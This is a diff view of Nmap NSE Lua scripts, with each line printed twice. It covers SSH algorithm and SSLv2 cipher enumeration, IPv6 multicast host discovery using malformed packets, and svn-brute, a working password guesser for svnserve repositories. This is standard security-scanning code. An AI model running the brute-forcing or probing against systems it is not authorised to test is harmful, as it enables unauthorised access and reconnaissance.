return string.format("(%d)", #t) return string.format("(%d)", #t)
end end
}) })
end end
out[l] = a out[l] = a
end end
return out return out
end end
action = function(host, port) action = function(host, port)
local sock = nmap.new_socket() local sock = nmap.new_socket()
local status = sock:connect(host, port) local status = sock:connect(host, port)
if not status then if not status then
return return
end end
status = sock:receive_lines(1) status = sock:receive_lines(1)
if not status then if not status then
sock:close() sock:close()
return return
end end
status = sock:send("SSH-2.0-Nmap-SSH2-Enum-Algos\r\n") status = sock:send("SSH-2.0-Nmap-SSH2-Enum-Algos\r\n")
if not status then if not status then
sock:close() sock:close()
return return
end end
local ssh = ssh2.transport local ssh = ssh2.transport
-- I would think that the server would send its kex data right after -- I would think that the server would send its kex data right after
-- receiving and verifying our protocol id string above, then we could -- receiving and verifying our protocol id string above, then we could
-- just use it here, but I've seen no definitive documentation saying -- just use it here, but I've seen no definitive documentation saying
-- that we don't ever send ours first. All I've seen is that if the -- that we don't ever send ours first. All I've seen is that if the
-- server doesn't care about compatibility with older clients then it -- server doesn't care about compatibility with older clients then it
-- MAY send its kex data after the protocol id string. So I guess I'll -- MAY send its kex data after the protocol id string. So I guess I'll
-- send it here until I know for sure (removing this send works against -- send it here until I know for sure (removing this send works against
-- OpenSSH though). -- OpenSSH though).
local pkt = ssh.build(ssh.kex_init()) local pkt = ssh.build(ssh.kex_init())
status = sock:send(pkt) status = sock:send(pkt)
if not status then if not status then
sock:close() sock:close()
return return
end end
local status, response = ssh.receive_packet(sock) local status, response = ssh.receive_packet(sock)
sock:close() sock:close()
if not status then if not status then
return return
end end
local parsed = ssh.parse_kex_init(ssh.payload(response)) local parsed = ssh.parse_kex_init(ssh.payload(response))
local lists = { local lists = {
"kex_algorithms", "kex_algorithms",
"server_host_key_algorithms" "server_host_key_algorithms"
-- Other types will be added below in combine_types() -- Other types will be added below in combine_types()
} }
-- Modifies tables -- Modifies tables
combine_types(parsed, lists) combine_types(parsed, lists)
return output(parsed, lists) return output(parsed, lists)
end end

View File

@@ -46,193 +46,193 @@ portrule = shortport.ssl
local hex2dec = function(hex) local hex2dec = function(hex)
local byte1, byte2; local byte1, byte2;
byte1 = string.byte(hex, 1); byte1 = string.byte(hex, 1);
byte2 = string.byte(hex, 2); byte2 = string.byte(hex, 2);
if (byte1 == nil or byte2 == nil) then return 0; end; if (byte1 == nil or byte2 == nil) then return 0; end;
return (byte1 * 256) + byte2; return (byte1 * 256) + byte2;
end end
local ciphers = function(cipher_list, len) local ciphers = function(cipher_list, len)
-- returns names of ciphers supported by the server -- returns names of ciphers supported by the server
local seen = {} local seen = {}
local available_ciphers = {} local available_ciphers = {}
local idx = 0; local idx = 0;
local ssl_ciphers = { local ssl_ciphers = {
-- (cut down) table of codes with their corresponding ciphers. -- (cut down) table of codes with their corresponding ciphers.
-- inspired by Wireshark's 'epan/dissectors/packet-ssl-utils.h' -- inspired by Wireshark's 'epan/dissectors/packet-ssl-utils.h'
[0x010080] = "SSL2_RC4_128_WITH_MD5", [0x010080] = "SSL2_RC4_128_WITH_MD5",
[0x020080] = "SSL2_RC4_128_EXPORT40_WITH_MD5", [0x020080] = "SSL2_RC4_128_EXPORT40_WITH_MD5",
[0x030080] = "SSL2_RC2_CBC_128_CBC_WITH_MD5", [0x030080] = "SSL2_RC2_CBC_128_CBC_WITH_MD5",
[0x040080] = "SSL2_RC2_CBC_128_CBC_WITH_MD5", [0x040080] = "SSL2_RC2_CBC_128_CBC_WITH_MD5",
[0x050080] = "SSL2_IDEA_128_CBC_WITH_MD5", [0x050080] = "SSL2_IDEA_128_CBC_WITH_MD5",
[0x060040] = "SSL2_DES_64_CBC_WITH_MD5", [0x060040] = "SSL2_DES_64_CBC_WITH_MD5",
[0x0700c0] = "SSL2_DES_192_EDE3_CBC_WITH_MD5", [0x0700c0] = "SSL2_DES_192_EDE3_CBC_WITH_MD5",
[0x080080] = "SSL2_RC4_64_WITH_MD5", [0x080080] = "SSL2_RC4_64_WITH_MD5",
}; };
if (len == 0) then return "none"; end if (len == 0) then return "none"; end
-- something's got broken along the way if these aren't equal -- something's got broken along the way if these aren't equal
if (len ~= #cipher_list) then if (len ~= #cipher_list) then
return nil return nil
end end
for idx = 1, len, 3 do for idx = 1, len, 3 do
local _, cipher = bin.unpack(">I", "\x00" .. string.sub(cipher_list, idx, idx + 2)) local _, cipher = bin.unpack(">I", "\x00" .. string.sub(cipher_list, idx, idx + 2))
local cipher_name = ssl_ciphers[cipher]; local cipher_name = ssl_ciphers[cipher];
if (cipher_name == nil) then if (cipher_name == nil) then
cipher_name = string.format("0x%06x", cipher) cipher_name = string.format("0x%06x", cipher)
end end
-- Check for duplicate ciphers -- Check for duplicate ciphers
if not seen[cipher] then if not seen[cipher] then
table.insert(available_ciphers, cipher_name) table.insert(available_ciphers, cipher_name)
seen[cipher] = true seen[cipher] = true
end end
end end
return available_ciphers return available_ciphers
end end
local give_n_bytes = function(idx, n, str) local give_n_bytes = function(idx, n, str)
-- returns the next n bytes of a string -- returns the next n bytes of a string
if (idx + (n - 1) > #str) then if (idx + (n - 1) > #str) then
return (idx + n), string.rep(string.char(0x00), n); return (idx + n), string.rep(string.char(0x00), n);
end end
return (idx + n), string.sub(str, idx, (idx + (n - 1)) ); return (idx + n), string.sub(str, idx, (idx + (n - 1)) );
end end
action = function(host, port) action = function(host, port)
local socket = nmap.new_socket(); local socket = nmap.new_socket();
local status = true; local status = true;
local tmp; local tmp;
local idx = 3; -- start reading after the end of the length record local idx = 3; -- start reading after the end of the length record
local return_string = ""; local return_string = "";
local available_ciphers; local available_ciphers;
local ssl_v2_hello; local ssl_v2_hello;
local server_hello; local server_hello;
local server_hello_len; local server_hello_len;
local message_type; local message_type;
local SID_hit; local SID_hit;
local certificate_type; local certificate_type;
local ssl_version; local ssl_version;
local certificate_len; local certificate_len;
local ciphers_len; local ciphers_len;
local certificate; local certificate;
local connection_ID_len; local connection_ID_len;
local cipher_list; local cipher_list;
local connection_ID; local connection_ID;
-- build client hello packet (contents inspired by -- build client hello packet (contents inspired by
-- http://mail.nessus.org/pipermail/plugins-writers/2004-October/msg00041.html ) -- http://mail.nessus.org/pipermail/plugins-writers/2004-October/msg00041.html )
local t = {}; local t = {};
table.insert(t, string.char(0x80, 0x31)); table.insert(t, string.char(0x80, 0x31));
table.insert(t, string.char(0x01)); table.insert(t, string.char(0x01));
table.insert(t, string.char(0x00, 0x02)); table.insert(t, string.char(0x00, 0x02));
table.insert(t, string.char(0x00, 0x18)); table.insert(t, string.char(0x00, 0x18));
table.insert(t, string.char(0x00, 0x00)); table.insert(t, string.char(0x00, 0x00));
table.insert(t, string.char(0x00, 0x10)); table.insert(t, string.char(0x00, 0x10));
table.insert(t, string.char(0x07, 0x00, 0xc0)); table.insert(t, string.char(0x07, 0x00, 0xc0));
table.insert(t, string.char(0x05, 0x00, 0x80)); table.insert(t, string.char(0x05, 0x00, 0x80));
table.insert(t, string.char(0x03, 0x00, 0x80)); table.insert(t, string.char(0x03, 0x00, 0x80));
table.insert(t, string.char(0x01, 0x00, 0x80)); table.insert(t, string.char(0x01, 0x00, 0x80));
table.insert(t, string.char(0x08, 0x00, 0x80)); table.insert(t, string.char(0x08, 0x00, 0x80));
table.insert(t, string.char(0x06, 0x00, 0x40)); table.insert(t, string.char(0x06, 0x00, 0x40));
table.insert(t, string.char(0x04, 0x00, 0x80)); table.insert(t, string.char(0x04, 0x00, 0x80));
table.insert(t, string.char(0x02, 0x00, 0x80)); table.insert(t, string.char(0x02, 0x00, 0x80));
table.insert(t, string.char(0xe4, 0xbd, 0x00, 0x00)); table.insert(t, string.char(0xe4, 0xbd, 0x00, 0x00));
table.insert(t, string.char(0xa4, 0x41, 0xb6, 0x74)); table.insert(t, string.char(0xa4, 0x41, 0xb6, 0x74));
table.insert(t, string.char(0x71, 0x2b, 0x27, 0x95)); table.insert(t, string.char(0x71, 0x2b, 0x27, 0x95));
table.insert(t, string.char(0x44, 0xc0, 0x3d, 0xc0)); table.insert(t, string.char(0x44, 0xc0, 0x3d, 0xc0));
ssl_v2_hello = table.concat(t, "") ssl_v2_hello = table.concat(t, "")
socket:connect(host, port, "tcp"); socket:connect(host, port, "tcp");
socket:send(ssl_v2_hello); socket:send(ssl_v2_hello);
status, server_hello = socket:receive_bytes(2); status, server_hello = socket:receive_bytes(2);
if (not status) then if (not status) then
socket:close(); socket:close();
return; return;
end end
server_hello_len = string.sub(server_hello, 1, 2); server_hello_len = string.sub(server_hello, 1, 2);
server_hello_len = hex2dec(server_hello_len); server_hello_len = hex2dec(server_hello_len);
-- length record doesn't include its own length, and is "broken". -- length record doesn't include its own length, and is "broken".
server_hello_len = server_hello_len - (128 * 256) + 2; server_hello_len = server_hello_len - (128 * 256) + 2;
-- the hello needs to be at least 13 bytes long to be of any use -- the hello needs to be at least 13 bytes long to be of any use
if (server_hello_len < 13) then if (server_hello_len < 13) then
socket:close(); socket:close();
return; return;
end end
--try to get entire hello, if we don't already --try to get entire hello, if we don't already
if (#server_hello < server_hello_len) then if (#server_hello < server_hello_len) then
status, tmp = socket:receive_bytes(server_hello_len - #server_hello); status, tmp = socket:receive_bytes(server_hello_len - #server_hello);
if (not status) then if (not status) then
socket:close(); socket:close();
return; return;
end end
server_hello = server_hello .. tmp; server_hello = server_hello .. tmp;
end; end;
socket:close(); socket:close();
-- split up server hello into components -- split up server hello into components
idx, message_type = give_n_bytes(idx, 1, server_hello); idx, message_type = give_n_bytes(idx, 1, server_hello);
idx, SID_hit = give_n_bytes(idx, 1, server_hello); idx, SID_hit = give_n_bytes(idx, 1, server_hello);
idx, certificate_type = give_n_bytes(idx, 1, server_hello); idx, certificate_type = give_n_bytes(idx, 1, server_hello);
idx, ssl_version = give_n_bytes(idx, 2, server_hello); idx, ssl_version = give_n_bytes(idx, 2, server_hello);
idx, certificate_len = give_n_bytes(idx, 2, server_hello); idx, certificate_len = give_n_bytes(idx, 2, server_hello);
certificate_len = hex2dec(certificate_len); certificate_len = hex2dec(certificate_len);
idx, ciphers_len = give_n_bytes(idx, 2, server_hello); idx, ciphers_len = give_n_bytes(idx, 2, server_hello);
ciphers_len = hex2dec(ciphers_len); ciphers_len = hex2dec(ciphers_len);
idx, connection_ID_len = give_n_bytes(idx, 2, server_hello); idx, connection_ID_len = give_n_bytes(idx, 2, server_hello);
connection_ID_len = hex2dec(connection_ID_len); connection_ID_len = hex2dec(connection_ID_len);
idx, certificate = give_n_bytes(idx, certificate_len, server_hello); idx, certificate = give_n_bytes(idx, certificate_len, server_hello);
idx, cipher_list = give_n_bytes(idx, ciphers_len, server_hello); idx, cipher_list = give_n_bytes(idx, ciphers_len, server_hello);
idx, connection_ID = give_n_bytes(idx, connection_ID_len, server_hello); idx, connection_ID = give_n_bytes(idx, connection_ID_len, server_hello);
-- some sanity checks: -- some sanity checks:
-- is response a server hello? -- is response a server hello?
if (message_type ~= string.char(0x04)) then if (message_type ~= string.char(0x04)) then
return; return;
end end
-- is certificate in X.509 format? -- is certificate in X.509 format?
if (certificate_type ~= string.char(0x01)) then if (certificate_type ~= string.char(0x01)) then
return; return;
end end
-- get a list of ciphers offered -- get a list of ciphers offered
available_ciphers = ciphers(cipher_list, ciphers_len); available_ciphers = ciphers(cipher_list, ciphers_len);
-- actually run some tests: -- actually run some tests:
local o = stdnse.output_table() local o = stdnse.output_table()
if (ssl_version == string.char(0x00, 0x02)) then if (ssl_version == string.char(0x00, 0x02)) then
table.insert(o, "SSLv2 supported") table.insert(o, "SSLv2 supported")
o["ciphers"] = available_ciphers o["ciphers"] = available_ciphers
end end
return o; return o;
end end

View File

@@ -46,227 +46,227 @@ portrule = shortport.port_or_service(3690, "svnserve", "tcp", "open")
svn = svn =
{ {
svn_client = "nmap-brute v0.1", svn_client = "nmap-brute v0.1",
new = function(self, host, port, repo) new = function(self, host, port, repo)
local o = {} local o = {}
setmetatable(o, self) setmetatable(o, self)
self.__index = self self.__index = self
o.host = host o.host = host
o.port = port o.port = port
o.repo = repo o.repo = repo
o.invalid_users = {} o.invalid_users = {}
return o return o
end, end,
--- Connects to the SVN - repository --- Connects to the SVN - repository
-- --
-- @return status true on success, false on failure -- @return status true on success, false on failure
-- @return err string containing an error message on failure -- @return err string containing an error message on failure
connect = function(self) connect = function(self)
local repo_url = ( "svn://%s/%s" ):format(self.host.ip, self.repo) local repo_url = ( "svn://%s/%s" ):format(self.host.ip, self.repo)
local status, msg local status, msg
self.socket = nmap.new_socket() self.socket = nmap.new_socket()
local result local result
status, result = self.socket:connect(self.host.ip, self.port.number, "tcp") status, result = self.socket:connect(self.host.ip, self.port.number, "tcp")
if( not(status) ) then if( not(status) ) then
return false, result return false, result
end end
status, msg = self.socket:receive_bytes(1) status, msg = self.socket:receive_bytes(1)
if ( not(status) or not( msg:match("^%( success") ) ) then if ( not(status) or not( msg:match("^%( success") ) ) then
return false, "Banner reports failure" return false, "Banner reports failure"
end end
msg = ("( 2 ( edit-pipeline svndiff1 absent-entries depth mergeinfo log-revprops ) %d:%s %d:%s ( ) ) "):format( #repo_url, repo_url, #self.svn_client, self.svn_client ) msg = ("( 2 ( edit-pipeline svndiff1 absent-entries depth mergeinfo log-revprops ) %d:%s %d:%s ( ) ) "):format( #repo_url, repo_url, #self.svn_client, self.svn_client )
status = self.socket:send( msg ) status = self.socket:send( msg )
if ( not(status) ) then if ( not(status) ) then
return false, "Send failed" return false, "Send failed"
end end
status, msg = self.socket:receive_bytes(1) status, msg = self.socket:receive_bytes(1)
if ( not(status) ) then if ( not(status) ) then
return false, "Receive failed" return false, "Receive failed"
end end
if ( msg:match("%( success") ) then if ( msg:match("%( success") ) then
local tmp = msg:match("%( success %( %( ([%S+%s*]-) %)") local tmp = msg:match("%( success %( %( ([%S+%s*]-) %)")
if ( not(tmp) ) then return false, "Failed to detect authentication" end if ( not(tmp) ) then return false, "Failed to detect authentication" end
tmp = stdnse.strsplit(" ", tmp) tmp = stdnse.strsplit(" ", tmp)
self.auth_mech = {} self.auth_mech = {}
for _, v in pairs(tmp) do self.auth_mech[v] = true end for _, v in pairs(tmp) do self.auth_mech[v] = true end
elseif ( msg:match("%( failure") ) then elseif ( msg:match("%( failure") ) then
return false return false
end end
return true return true
end, end,
--- Attempts to login to the SVN server --- Attempts to login to the SVN server
-- --
-- @param username string containing the login username -- @param username string containing the login username
-- @param password string containing the login password -- @param password string containing the login password
-- @return status, true on success, false on failure -- @return status, true on success, false on failure
-- @return err string containing error message on failure -- @return err string containing error message on failure
login = function( self, username, password ) login = function( self, username, password )
local status, msg local status, msg
local challenge, digest local challenge, digest
if ( self.auth_mech["CRAM-MD5"] ) then if ( self.auth_mech["CRAM-MD5"] ) then
msg = "( CRAM-MD5 ( ) ) " msg = "( CRAM-MD5 ( ) ) "
status = self.socket:send( msg ) status = self.socket:send( msg )
status, msg = self.socket:receive_bytes(1) status, msg = self.socket:receive_bytes(1)
if ( not(status) ) then if ( not(status) ) then
return false, "error" return false, "error"
end end
challenge = msg:match("<.+>") challenge = msg:match("<.+>")
if ( not(challenge) ) then if ( not(challenge) ) then
return false, "Failed to read challenge" return false, "Failed to read challenge"
end end
digest = stdnse.tohex(openssl.hmac('md5', password, challenge)) digest = stdnse.tohex(openssl.hmac('md5', password, challenge))
msg = ("%d:%s %s "):format(#username + 1 + #digest, username, digest) msg = ("%d:%s %s "):format(#username + 1 + #digest, username, digest)
self.socket:send( msg ) self.socket:send( msg )
status, msg = self.socket:receive_bytes(1) status, msg = self.socket:receive_bytes(1)
if ( not(status) ) then if ( not(status) ) then
return false, "error" return false, "error"
end end
if ( msg:match("Username not found") ) then if ( msg:match("Username not found") ) then
return false, "Username not found" return false, "Username not found"
elseif ( msg:match("success") ) then elseif ( msg:match("success") ) then
return true, "Authentication success" return true, "Authentication success"
else else
return false, "Authentication failed" return false, "Authentication failed"
end end
else else
return false, "Unsupported auth-mechanism" return false, "Unsupported auth-mechanism"
end end
end, end,
--- Close the SVN connection --- Close the SVN connection
-- --
-- @return status true on success, false on failure -- @return status true on success, false on failure
close = function(self) close = function(self)
return self.socket:close() return self.socket:close()
end, end,
} }
Driver = Driver =
{ {
new = function(self, host, port, invalid_users ) new = function(self, host, port, invalid_users )
local o = {} local o = {}
setmetatable(o, self) setmetatable(o, self)
self.__index = self self.__index = self
o.host = host o.host = host
o.port = port o.port = port
o.repo = stdnse.get_script_args('svn-brute.repo') o.repo = stdnse.get_script_args('svn-brute.repo')
o.invalid_users = invalid_users o.invalid_users = invalid_users
return o return o
end, end,
connect = function( self ) connect = function( self )
local status, msg local status, msg
self.svn = svn:new( self.host, self.port, self.repo ) self.svn = svn:new( self.host, self.port, self.repo )
status, msg = self.svn:connect() status, msg = self.svn:connect()
if ( not(status) ) then if ( not(status) ) then
local err = brute.Error:new( "Failed to connect to SVN server" ) local err = brute.Error:new( "Failed to connect to SVN server" )
-- This might be temporary, set the retry flag -- This might be temporary, set the retry flag
err:setRetry( true ) err:setRetry( true )
return false, err return false, err
end end
return true return true
end, end,
disconnect = function( self ) disconnect = function( self )
self.svn:close() self.svn:close()
end, end,
--- Attempts to login to the SVN server --- Attempts to login to the SVN server
-- --
-- @param username string containing the login username -- @param username string containing the login username
-- @param password string containing the login password -- @param password string containing the login password
-- @return status, true on success, false on failure -- @return status, true on success, false on failure
-- @return brute.Error object on failure -- @return brute.Error object on failure
-- brute.Account object on success -- brute.Account object on success
login = function( self, username, password ) login = function( self, username, password )
local status, msg local status, msg
if ( self.invalid_users[username] ) then if ( self.invalid_users[username] ) then
return false, brute.Error:new( "User is invalid" ) return false, brute.Error:new( "User is invalid" )
end end
status, msg = self.svn:login( username, password ) status, msg = self.svn:login( username, password )
if ( not(status) and msg:match("Username not found") ) then if ( not(status) and msg:match("Username not found") ) then
self.invalid_users[username] = true self.invalid_users[username] = true
return false, brute.Error:new("Username not found") return false, brute.Error:new("Username not found")
elseif ( status and msg:match("success") ) then elseif ( status and msg:match("success") ) then
return true, brute.Account:new(username, password, creds.State.VALID) return true, brute.Account:new(username, password, creds.State.VALID)
else else
return false, brute.Error:new( "Incorrect password" ) return false, brute.Error:new( "Incorrect password" )
end end
end, end,
--- Verifies whether the repository is valid --- Verifies whether the repository is valid
-- --
-- @return status, true on success, false on failure -- @return status, true on success, false on failure
-- @return err string containing an error message on failure -- @return err string containing an error message on failure
check = function( self ) check = function( self )
local svn = svn:new( self.host, self.port, self.repo ) local svn = svn:new( self.host, self.port, self.repo )
local status = svn:connect() local status = svn:connect()
svn:close() svn:close()
if ( status ) then if ( status ) then
return true return true
else else
return false, ("Failed to connect to SVN repository (%s)"):format(self.repo) return false, ("Failed to connect to SVN repository (%s)"):format(self.repo)
end end
end, end,
} }
action = function(host, port) action = function(host, port)
local status, accounts local status, accounts
local repo = stdnse.get_script_args('svn-brute.repo') local repo = stdnse.get_script_args('svn-brute.repo')
local force = stdnse.get_script_args('svn-brute.force') local force = stdnse.get_script_args('svn-brute.force')
if ( not(repo) ) then if ( not(repo) ) then
return "No repository specified (see svn-brute.repo)" return "No repository specified (see svn-brute.repo)"
end end
local svn = svn:new( host, port, repo ) local svn = svn:new( host, port, repo )
local status = svn:connect() local status = svn:connect()
if ( status and svn.auth_mech["ANONYMOUS"] and not(force) ) then if ( status and svn.auth_mech["ANONYMOUS"] and not(force) ) then
return " \n Anonymous SVN detected, no authentication needed" return " \n Anonymous SVN detected, no authentication needed"
end end
if ( not(svn.auth_mech) or not( svn.auth_mech["CRAM-MD5"] ) ) then if ( not(svn.auth_mech) or not( svn.auth_mech["CRAM-MD5"] ) ) then
return " \n No supported authentication mechanisms detected" return " \n No supported authentication mechanisms detected"
end end
local invalid_users = {} local invalid_users = {}
local engine = brute.Engine:new(Driver, host, port, invalid_users) local engine = brute.Engine:new(Driver, host, port, invalid_users)
engine.options.script_name = SCRIPT_NAME engine.options.script_name = SCRIPT_NAME
status, accounts = engine:start() status, accounts = engine:start()
if( not(status) ) then if( not(status) ) then
return accounts return accounts
end end
return accounts return accounts
end end

View File

@@ -34,169 +34,169 @@ categories = {"discovery","broadcast"}
prerule = function() prerule = function()
return nmap.is_privileged() return nmap.is_privileged()
end end
--- Build an IPv6 invalid extension header. --- Build an IPv6 invalid extension header.
-- @param nxt_hdr integer that stands for next header's type -- @param nxt_hdr integer that stands for next header's type
local function build_invalid_extension_header(nxt_hdr) local function build_invalid_extension_header(nxt_hdr)
-- RFC 2640, section 4.2 defines the TLV format of options headers. -- RFC 2640, section 4.2 defines the TLV format of options headers.
-- It is important that the first byte have 10 in the most significant -- It is important that the first byte have 10 in the most significant
-- bits; that instructs the receiver to send a Parameter Problem. -- bits; that instructs the receiver to send a Parameter Problem.
-- Option type 0x80 is unallocated; see -- Option type 0x80 is unallocated; see
-- http://www.iana.org/assignments/ipv6-parameters/. -- http://www.iana.org/assignments/ipv6-parameters/.
local ex_invalid_opt = string.char(0x80,0x01,0x00,0x00,0x00,0x00) local ex_invalid_opt = string.char(0x80,0x01,0x00,0x00,0x00,0x00)
local ext_header = local ext_header =
string.char(nxt_hdr) .. --next header string.char(nxt_hdr) .. --next header
string.char(0) .. -- length 8 string.char(0) .. -- length 8
ex_invalid_opt ex_invalid_opt
return ext_header return ext_header
end end
local function get_interfaces() local function get_interfaces()
local interface_name = stdnse.get_script_args(SCRIPT_NAME .. ".interface") local interface_name = stdnse.get_script_args(SCRIPT_NAME .. ".interface")
or nmap.get_interface() or nmap.get_interface()
-- interfaces list (decide which interfaces to broadcast on) -- interfaces list (decide which interfaces to broadcast on)
local interfaces = {} local interfaces = {}
if interface_name then if interface_name then
-- single interface defined -- single interface defined
local if_table = nmap.get_interface_info(interface_name) local if_table = nmap.get_interface_info(interface_name)
if if_table and packet.ip6tobin(if_table.address) and if_table.link == "ethernet" then if if_table and packet.ip6tobin(if_table.address) and if_table.link == "ethernet" then
interfaces[#interfaces + 1] = if_table interfaces[#interfaces + 1] = if_table
else else
stdnse.print_debug("Interface not supported or not properly configured.") stdnse.print_debug("Interface not supported or not properly configured.")
end end
else else
for _, if_table in ipairs(nmap.list_interfaces()) do for _, if_table in ipairs(nmap.list_interfaces()) do
if packet.ip6tobin(if_table.address) and if_table.link == "ethernet" then if packet.ip6tobin(if_table.address) and if_table.link == "ethernet" then
table.insert(interfaces, if_table) table.insert(interfaces, if_table)
end end
end end
end end
return interfaces return interfaces
end end
local function single_interface_broadcast(if_nfo, results) local function single_interface_broadcast(if_nfo, results)
stdnse.print_debug("Starting " .. SCRIPT_NAME .. " on " .. if_nfo.device) stdnse.print_debug("Starting " .. SCRIPT_NAME .. " on " .. if_nfo.device)
local condvar = nmap.condvar(results) local condvar = nmap.condvar(results)
local src_mac = if_nfo.mac local src_mac = if_nfo.mac
local src_ip6 = packet.ip6tobin(if_nfo.address) local src_ip6 = packet.ip6tobin(if_nfo.address)
local dst_mac = packet.mactobin("33:33:00:00:00:01") local dst_mac = packet.mactobin("33:33:00:00:00:01")
local dst_ip6 = packet.ip6tobin("ff02::1") local dst_ip6 = packet.ip6tobin("ff02::1")
---------------------------------------------------------------------------- ----------------------------------------------------------------------------
--Multicast invalid destination exheader probe --Multicast invalid destination exheader probe
local dnet = nmap.new_dnet() local dnet = nmap.new_dnet()
local pcap = nmap.new_socket() local pcap = nmap.new_socket()
local function catch () local function catch ()
dnet:ethernet_close() dnet:ethernet_close()
pcap:pcap_close() pcap:pcap_close()
end
local try = nmap.new_try(catch)
try(dnet:ethernet_open(if_nfo.device))
pcap:pcap_open(if_nfo.device, 128, false, "icmp6 and ip6[6:1] = 58 and ip6[40:1] = 4")
local probe = packet.Frame:new()
probe.mac_src = src_mac
probe.mac_dst = dst_mac
probe.ip_bin_src = src_ip6
probe.ip_bin_dst = dst_ip6
-- In addition to setting an invalid option in
-- build_invalid_extension_header, we set an unknown ICMPv6 type of
-- 254. (See http://www.iana.org/assignments/icmpv6-parameters for
-- allocations.) Mac OS X 10.6 appears to send a Parameter Problem
-- response only if both of these conditions are met. In this we differ
-- from the alive6 tool, which sends a proper echo request.
probe.icmpv6_type = 254
probe.icmpv6_code = 0
-- Add a non-empty payload too.
probe.icmpv6_payload = string.char(0x00, 0x00, 0x00, 0x00)
probe:build_icmpv6_header()
probe.exheader = build_invalid_extension_header(packet.IPPROTO_ICMPV6)
probe.ip6_nhdr = packet.IPPROTO_DSTOPTS
probe:build_ipv6_packet()
probe:build_ether_frame()
try(dnet:ethernet_send(probe.frame_buf))
pcap:set_timeout(1000)
local pcap_timeout_count = 0
local nse_timeout = 5
local start_time = nmap:clock()
local cur_time = nmap:clock()
local addrs = {}
repeat
local status, length, layer2, layer3 = pcap:pcap_receive()
cur_time = nmap:clock()
if not status then
pcap_timeout_count = pcap_timeout_count + 1
else
local l2reply = packet.Frame:new(layer2)
if l2reply.mac_dst == src_mac then
local reply = packet.Packet:new(layer3)
local target_str = reply.ip_src
if not results[target_str] then
if target.ALLOW_NEW_TARGETS then
target.add(target_str)
end
results[#results + 1] = { address = target_str, mac = stdnse.format_mac(l2reply.mac_src), iface = if_nfo.device }
results[target_str] = true
end
end
end end
local try = nmap.new_try(catch) until pcap_timeout_count >= 2 or cur_time - start_time >= nse_timeout
try(dnet:ethernet_open(if_nfo.device)) dnet:ethernet_close()
pcap:pcap_open(if_nfo.device, 128, false, "icmp6 and ip6[6:1] = 58 and ip6[40:1] = 4") pcap:pcap_close()
local probe = packet.Frame:new() condvar("signal")
probe.mac_src = src_mac
probe.mac_dst = dst_mac
probe.ip_bin_src = src_ip6
probe.ip_bin_dst = dst_ip6
-- In addition to setting an invalid option in
-- build_invalid_extension_header, we set an unknown ICMPv6 type of
-- 254. (See http://www.iana.org/assignments/icmpv6-parameters for
-- allocations.) Mac OS X 10.6 appears to send a Parameter Problem
-- response only if both of these conditions are met. In this we differ
-- from the alive6 tool, which sends a proper echo request.
probe.icmpv6_type = 254
probe.icmpv6_code = 0
-- Add a non-empty payload too.
probe.icmpv6_payload = string.char(0x00, 0x00, 0x00, 0x00)
probe:build_icmpv6_header()
probe.exheader = build_invalid_extension_header(packet.IPPROTO_ICMPV6)
probe.ip6_nhdr = packet.IPPROTO_DSTOPTS
probe:build_ipv6_packet()
probe:build_ether_frame()
try(dnet:ethernet_send(probe.frame_buf))
pcap:set_timeout(1000)
local pcap_timeout_count = 0
local nse_timeout = 5
local start_time = nmap:clock()
local cur_time = nmap:clock()
local addrs = {}
repeat
local status, length, layer2, layer3 = pcap:pcap_receive()
cur_time = nmap:clock()
if not status then
pcap_timeout_count = pcap_timeout_count + 1
else
local l2reply = packet.Frame:new(layer2)
if l2reply.mac_dst == src_mac then
local reply = packet.Packet:new(layer3)
local target_str = reply.ip_src
if not results[target_str] then
if target.ALLOW_NEW_TARGETS then
target.add(target_str)
end
results[#results + 1] = { address = target_str, mac = stdnse.format_mac(l2reply.mac_src), iface = if_nfo.device }
results[target_str] = true
end
end
end
until pcap_timeout_count >= 2 or cur_time - start_time >= nse_timeout
dnet:ethernet_close()
pcap:pcap_close()
condvar("signal")
end end
local function format_output(results) local function format_output(results)
local output = tab.new() local output = tab.new()
for _, record in ipairs(results) do for _, record in ipairs(results) do
tab.addrow(output, "IP: " .. record.address, "MAC: " .. record.mac, "IFACE: " .. record.iface) tab.addrow(output, "IP: " .. record.address, "MAC: " .. record.mac, "IFACE: " .. record.iface)
end end
if #results > 0 then if #results > 0 then
output = { tab.dump(output) } output = { tab.dump(output) }
if not target.ALLOW_NEW_TARGETS then if not target.ALLOW_NEW_TARGETS then
output[#output + 1] = "Use --script-args=newtargets to add the results as targets" output[#output + 1] = "Use --script-args=newtargets to add the results as targets"
end end
return stdnse.format_output(true, output) return stdnse.format_output(true, output)
end end
end end
action = function() action = function()
local threads = {} local threads = {}
local results = {} local results = {}
local condvar = nmap.condvar(results) local condvar = nmap.condvar(results)
for _, if_nfo in ipairs(get_interfaces()) do for _, if_nfo in ipairs(get_interfaces()) do
-- create a thread for each interface -- create a thread for each interface
local co = stdnse.new_thread(single_interface_broadcast, if_nfo, results) local co = stdnse.new_thread(single_interface_broadcast, if_nfo, results)
threads[co] = true threads[co] = true
end end
repeat repeat
for thread in pairs(threads) do for thread in pairs(threads) do
if coroutine.status(thread) == "dead" then threads[thread] = nil end if coroutine.status(thread) == "dead" then threads[thread] = nil end
end end
if ( next(threads) ) then if ( next(threads) ) then
condvar "wait" condvar "wait"
end end
until next(threads) == nil until next(threads) == nil
return format_output(results) return format_output(results)
end end

View File

@@ -48,28 +48,28 @@ categories = {"discovery","broadcast"}
prerule = function() prerule = function()
return nmap.is_privileged() return nmap.is_privileged()
end end
local function get_identifier(ip6_addr) local function get_identifier(ip6_addr)
return string.sub(ip6_addr, 9, 16) return string.sub(ip6_addr, 9, 16)
end end
--- Get a Unique-local Address with random global ID. --- Get a Unique-local Address with random global ID.
-- @param local_scope The scope of the address, local or reserved. -- @param local_scope The scope of the address, local or reserved.
-- @return A 16-byte string of IPv6 address, and the length of the prefix. -- @return A 16-byte string of IPv6 address, and the length of the prefix.
local function get_radom_ula_prefix(local_scope) local function get_radom_ula_prefix(local_scope)
local ula_prefix local ula_prefix
math.randomseed(os.time()) math.randomseed(os.time())
local global_id = string.char(math.random(256)-1,math.random(256)-1,math.random(256)-1,math.random(256)-1,math.random(256)-1) local global_id = string.char(math.random(256)-1,math.random(256)-1,math.random(256)-1,math.random(256)-1,math.random(256)-1)
if local_scope then if local_scope then
ula_prefix = packet.ip6tobin("fd00::") ula_prefix = packet.ip6tobin("fd00::")
else else
ula_prefix = packet.ip6tobin("fc00::") ula_prefix = packet.ip6tobin("fc00::")
end end
